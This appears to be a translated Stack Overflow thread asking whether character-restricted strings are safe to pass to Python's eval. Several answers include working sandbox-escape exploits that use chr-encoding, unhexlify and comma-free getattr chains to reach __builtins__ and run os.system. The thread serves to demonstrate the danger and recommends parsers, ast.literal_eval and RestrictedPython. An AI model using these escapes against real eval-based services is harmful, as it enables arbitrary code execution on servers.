13

关于在不安全字符串上使用 Python 的 eval 的 SO 有很多问题（例如：Python 的 eval() 对不受信任的字符串的安全性？，Python：使 eval 安全）。一致的答案是，这是一个坏主意。

但是，我几乎没有找到关于哪些字符串可以被认为是安全的（如果有的话）的信息。现在我想知道是否有可用的“安全字符串”定义（例如：仅包含小写 ascii 字符或任何符号 +-*/() 的字符串）。我发现的漏洞利用通常依赖于 _.,:[]'" 等。这种方法是否安全（用于图形绘制 Web 应用程序）？

否则，我想使用 Alex Martelli 建议的解析包是唯一的方法。

编辑：不幸的是，对于上述字符串为什么/如何被认为是不安全的（一个微小的工作漏洞），既没有答案给出令人信服的解释，也没有相反的解释。我知道应该避免使用 eval ，但这不是问题。因此，我将奖励第一个提出有效利用或非常好的解释为什么如上所述损坏的字符串被视为（不）安全的字符串的人。

4

7 回答 7

14

在这里，您有一个有效的“利用”，您的限制到位 - 仅包含小写 ascii 字符或任何符号 +-*/() 。它依赖于第二个评估层。

def mask_code( python_code ):
    s="+".join(["chr("+str(ord(i))+")" for i in python_code])
    return "eval("+s+")"

bad_code='''__import__("os").getcwd()'''
masked= mask_code( bad_code )
print masked
print eval(bad_code)

输出：

eval(chr(111)+chr(115)+chr(46)+chr(103)+chr(101)+chr(116)+chr(99)+chr(119)+chr(100)+chr(40)+chr(41))
/home/user

这是一个非常微不足道的“利用”。我敢肯定还有无数其他人，即使有更多的字符限制。值得重复的是，应该始终使用解析器或 ast.literal_eval()。只有通过解析标记才能确保字符串可以安全评估。其他任何事情都在押注这所房子。

于 2012-11-08T07:58:50.357 回答
9

不，没有，或者至少没有一种明智的、真正安全的方式。Python 是一种高度动态的语言，另一方面，它很容易颠覆任何锁定该语言的尝试。

您要么需要为所需的子集编写自己的解析器，要么ast.literal_eval()在遇到特定情况时使用现有的东西，例如 . 使用为手头的工作设计的工具，而不是试图强迫现有的工具做你想做的工作，糟糕。

编辑：

两个字符串的示例，虽然符合您的描述，但如果eval()按顺序编辑，将执行任意代码（此特定示例运行evil.__method__().

"from binascii import *"
"eval(unhexlify('6576696c2e5f5f6d6574686f645f5f2829'))"
于 2012-10-25T10:31:45.767 回答
7

一个类似于 goncalopp 的漏洞利用，但也满足字符串'eval'不是漏洞利用的子字符串的限制：

def to_chrs(text):
    return '+'.join('chr(%d)' % ord(c) for c in text)

def _make_getattr_call(obj, attr):
    return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)

def make_exploit(code):
    get = to_chrs('get')
    builtins = to_chrs('__builtins__')
    eval = to_chrs('eval')
    code = to_chrs(code)
    return (_make_getattr_call(
                _make_getattr_call('globals()', '{get}') + '({builtins})',
                '{eval}') + '({code})').format(**locals())

它使用 genexp 和元组解包的组合来调用getattr两个参数而不使用逗号。

一个示例用法：

>>> exploit =  make_exploit('__import__("os").system("echo $PWD")')
>>> print exploit
getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
>>> eval(exploit)
/home/giacomo
0

这证明了仅对使代码安全的文本定义限制是非常困难的。即使是这样的事情'eval' in code也不安全。要么您必须完全消除执行函数调用的可能性，要么您必须从的环境中删除所有危险的内置函数。eval我的漏洞利用还表明，即使您不能使用逗号，getattr也一样糟糕eval，因为它允许您随意进入对象层次结构。例如，eval即使环境不提供，你也可以获得真正的功能：

def real_eval():
    get_subclasses = _make_getattr_call(
                         _make_getattr_call(
                             _make_getattr_call('()',
                                 to_chrs('__class__')),
                             to_chrs('__base__')),
                         to_chrs('__subclasses__')) + '()'

    catch_warnings = 'next(c for c in %s if %s == %s)()' % (get_subclasses,
                                                            _make_getattr_call('c',
                                                                to_chrs('__name__')),
                                                            to_chrs('catch_warnings'))

    return _make_getattr_call(
               _make_getattr_call(
                   _make_getattr_call(catch_warnings, to_chrs('_module')),
                   to_chrs('__builtins__')),
               to_chrs('get')) + '(%s)' % to_chrs('eval')


>>> no_eval = __builtins__.__dict__.copy()
>>> del no_eval['eval']
>>> eval(real_eval(), {'__builtins__': no_eval})
<built-in function eval>

即使您删除了所有内置函数，代码也会变得安全：

>>> eval(real_eval(), {'__builtins__': None})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name 'getattr' is not defined

请注意，设置'__builtins__'为None还删除chr,list等tuple。您的字符限制和 '__builtins__'to的组合None是完全安全的，因为用户无法访问任何内容。他不能使用.、括号[]或任何内置函数或类型。

即使我必须这样说，您可以评估的内容也非常有限。除了对数字进行运算之外，您无能为力。

可能从内置函数中删除eval,getattr和就足以chr使代码安全，至少我想不出一种方法来编写不使用其中之一的漏洞利用程序。

“解析”方法可能更安全并提供更大的灵活性。例如，这个配方非常好，也很容易定制以添加更多限制。

于 2012-11-10T11:17:03.617 回答
4

为了研究如何进行安全评估，我建议使用 RestrictedPython 模块（超过 10 年的生产使用，一款优秀的 Python 软件）

http://pypi.python.org/pypi/RestrictedPython

RestrictedPython 获取 Python 源代码并修改其 AST（抽象语法树）以使评估在沙箱中安全，而不会泄露任何可能允许逃离沙箱的 Python 内部结构。

从 RestrictedPython 源代码中，您将了解需要执行哪些技巧才能使 Python 沙盒安全。

于 2012-11-11T01:59:24.160 回答
1

实际上，您可能应该避免使用 eval。

但如果你坚持下去，你可以确保你的字符串是字母数字的。那应该是安全的。

于 2012-10-25T23:49:23.537 回答
1

假设命名函数存在并且是安全的：

if re.match("^(?:safe|soft|cotton|ball|[()])+$", code): eval(code)
于 2019-05-23T12:37:38.010 回答
0

创建输入清理例程是不够的。您还必须确保不会意外遗漏消毒。一种方法是污点检查。

于 2012-11-12T04:54:59.320 回答